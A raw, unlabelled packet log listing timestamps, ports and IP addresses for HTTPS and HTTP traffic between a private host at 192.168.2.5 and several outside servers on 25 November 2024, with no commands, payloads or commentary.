Nov 25, 2024 18:28:50.288611889 CET	49880	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.288620949 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.288665056 CET	49880	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.296916008 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.296989918 CET	49880	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.302756071 CET	443	49885	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.314801931 CET	49890	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:50.314858913 CET	443	49890	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:50.314934969 CET	49890	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:50.315179110 CET	49890	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:50.315198898 CET	443	49890	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:50.316708088 CET	49891	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:50.316746950 CET	443	49891	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:50.316798925 CET	49891	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:50.317102909 CET	49891	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:50.317116022 CET	443	49891	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:50.322244883 CET	443	49881	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.322264910 CET	443	49881	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.322341919 CET	49881	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.322360992 CET	443	49881	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.322396040 CET	49881	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.325134039 CET	49884	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.325145006 CET	443	49884	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.325473070 CET	49885	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.325491905 CET	443	49885	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.325678110 CET	49884	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.325683117 CET	443	49884	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.326045990 CET	49885	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.326050997 CET	443	49885	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.330655098 CET	443	49881	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.330813885 CET	49881	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.354960918 CET	443	49882	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.355025053 CET	443	49882	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.355074883 CET	49882	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.355087042 CET	443	49882	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.355109930 CET	49882	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.355338097 CET	49882	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.376086950 CET	443	49883	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.376693964 CET	49883	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.376724958 CET	443	49883	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.377250910 CET	49883	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.377268076 CET	443	49883	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.398330927 CET	443	49881	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.398355961 CET	443	49881	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.398439884 CET	49881	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.398452997 CET	443	49881	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.398508072 CET	49881	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.414822102 CET	443	49886	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.415488958 CET	49886	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.415514946 CET	443	49886	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.416125059 CET	49886	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.416130066 CET	443	49886	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.430507898 CET	443	49882	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.430599928 CET	49882	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.430618048 CET	443	49882	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.430710077 CET	49882	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.430731058 CET	443	49882	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.430921078 CET	49882	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.431086063 CET	49882	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.431097031 CET	443	49882	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.437233925 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.437268019 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.437382936 CET	49880	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.437391996 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.437539101 CET	49880	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.468530893 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.468558073 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.468657970 CET	49880	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.468657970 CET	49880	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.468668938 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.468760967 CET	49880	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.472143888 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:50.472209930 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:50.476396084 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:50.481570959 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.481661081 CET	49880	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.485850096 CET	443	49881	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.485923052 CET	49881	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.485935926 CET	443	49881	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.485985041 CET	49881	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.486323118 CET	49881	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.486337900 CET	443	49881	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.506222010 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.506242037 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.506295919 CET	49880	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.506304979 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.506342888 CET	49880	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.506342888 CET	49880	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.509337902 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.509404898 CET	49880	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.509412050 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.509486914 CET	49880	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.509571075 CET	49880	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.509579897 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.509598970 CET	49880	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.509632111 CET	49880	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.683478117 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:50.683556080 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:50.684577942 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:50.926774025 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:50.926783085 CET	443	49884	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.926870108 CET	443	49884	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.926912069 CET	443	49885	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.926942110 CET	443	49883	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.926949978 CET	49884	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.926981926 CET	443	49886	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.926985025 CET	443	49885	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.927006960 CET	443	49883	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.927043915 CET	443	49886	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.927047014 CET	49885	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.927076101 CET	49883	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.927078962 CET	49886	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.927473068 CET	49884	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.927489042 CET	443	49884	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.927499056 CET	49884	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.927504063 CET	443	49884	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.928069115 CET	49886	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.928069115 CET	49886	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.928075075 CET	443	49886	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.928082943 CET	443	49886	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.928507090 CET	49885	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.928529024 CET	443	49885	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.928543091 CET	49885	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.928550959 CET	443	49885	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.930263996 CET	49883	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.930263996 CET	49883	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.930294991 CET	443	49883	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.930309057 CET	443	49883	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.945252895 CET	49893	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.945286989 CET	443	49893	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.945400953 CET	49893	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.947704077 CET	49894	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.947726965 CET	443	49894	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.948010921 CET	49894	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.948929071 CET	49895	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.948940039 CET	443	49895	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.949060917 CET	49895	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.949312925 CET	49896	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.949330091 CET	443	49896	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.949584961 CET	49896	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.949793100 CET	49896	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.949805021 CET	443	49896	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.949887037 CET	49893	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.949902058 CET	443	49893	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.950170040 CET	49894	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.950182915 CET	443	49894	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.950336933 CET	49895	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.950361013 CET	443	49895	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:51.291435003 CET	49897	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:51.291462898 CET	443	49897	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:51.291673899 CET	49897	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:51.292017937 CET	49897	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:51.292032957 CET	443	49897	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:51.312227964 CET	49898	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:51.312268972 CET	443	49898	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:51.312444925 CET	49898	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:51.313616037 CET	49898	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:51.313632011 CET	443	49898	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:51.637389898 CET	443	49797	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:51.637479067 CET	443	49797	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:51.637664080 CET	49797	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:51.676141024 CET	443	49798	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:51.676198959 CET	443	49798	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:51.676553965 CET	49798	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:51.861002922 CET	49797	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:51.861017942 CET	443	49797	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:51.861109972 CET	49798	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:51.861139059 CET	443	49798	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:51.861509085 CET	49900	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:51.861546993 CET	443	49900	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:51.861715078 CET	49900	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:51.861972094 CET	49900	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:51.861989975 CET	443	49900	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:51.870690107 CET	443	49887	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:51.871468067 CET	49887	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:51.871501923 CET	443	49887	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:51.872098923 CET	49887	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:51.872103930 CET	443	49887	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:52.018800974 CET	443	49891	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:52.019195080 CET	49891	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:52.019227028 CET	443	49891	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:52.019596100 CET	443	49891	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:52.020226955 CET	49891	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:52.020304918 CET	443	49891	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:52.020462036 CET	49891	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:52.020514011 CET	49891	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:52.020531893 CET	443	49891	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:52.035612106 CET	443	49889	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:52.053355932 CET	49889	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:52.053369999 CET	443	49889	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:52.054444075 CET	49889	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:52.054449081 CET	443	49889	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:52.054557085 CET	49889	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:52.054568052 CET	443	49889	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:52.056484938 CET	443	49800	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:52.056559086 CET	443	49800	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:52.056612968 CET	49800	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:52.062217951 CET	443	49799	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:52.062362909 CET	443	49799	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:52.062448025 CET	49799	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:52.063411951 CET	443	49802	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:52.063493013 CET	443	49802	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:52.063652992 CET	49802	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:52.068243027 CET	443	49801	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:52.068299055 CET	443	49801	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:52.068573952 CET	49801	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:52.135521889 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.135582924 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.135627031 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.135636091 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.135647058 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.135690928 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.135723114 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.135735035 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.135745049 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.135797977 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.135833025 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.135849953 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.135869026 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.135874987 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.135904074 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.135941029 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.136087894 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.152312040 CET	443	49888	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:52.153851032 CET	49888	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:52.153861046 CET	443	49888	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:52.154735088 CET	49888	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:52.154742002 CET	443	49888	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:52.154762983 CET	49888	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:52.154772043 CET	443	49888	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:52.155807972 CET	443	49890	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:52.156138897 CET	49890	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:52.156157017 CET	443	49890	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:52.156647921 CET	443	49890	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:52.157180071 CET	49890	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:52.157262087 CET	443	49890	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:52.157576084 CET	49890	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:52.157696009 CET	49890	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:52.157723904 CET	443	49890	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:52.157816887 CET	49890	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:52.157847881 CET	443	49890	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:52.256536007 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.256571054 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.256603003 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.256633043 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.317538023 CET	443	49887	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:52.317641973 CET	443	49887	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:52.317735910 CET	49887	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:52.324589014 CET	49887	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:52.324615002 CET	443	49887	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:52.324625015 CET	49887	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:52.324631929 CET	443	49887	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:52.331720114 CET	49901	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:52.331759930 CET	443	49901	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:52.331840992 CET	49901	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:52.332134962 CET	49901	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:52.332149982 CET	443	49901	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:52.336880922 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.336946964 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.337044001 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.337116957 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.340986013 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.341095924 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.341109991 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.341145992 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.349558115 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.349613905 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.349697113 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.349745035 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.357876062 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.357944012 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.358031034 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.358155966 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.366067886 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.366142035 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.366185904 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.366274118 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.374609947 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.374667883 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.374676943 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.374715090 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.383022070 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.383182049 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.383564949 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.391540051 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.391599894 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.391747952 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.391803026 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.400077105 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.400166035 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.400176048 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.400245905 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.407680035 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.407757044 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.407783985 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.407799959 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.415429115 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.415482998 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.415517092 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.415565014 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.460114002 CET	443	49804	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:52.460186005 CET	443	49804	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:52.460293055 CET	49804	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:52.487621069 CET	443	49803	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:52.487699986 CET	443	49803	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:52.487874031 CET	49803	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:52.538292885 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.538333893 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.538402081 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.540779114 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.540853024 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.540870905 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.540988922 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.545830011 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.545917988 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.545942068 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.545958042 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.550925016 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.550976992 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.551011086 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.551060915 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.555963993 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.556029081 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.556047916 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.556066036 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.561016083 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.561119080 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.561146021 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.561172962 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.566117048 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.566152096 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.566195965 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.571104050 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.571177006 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.571273088 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.571444035 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.576143026 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.576215029 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.576257944 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.576299906 CET	49892	80	192.168.2.5	185.215.113.16
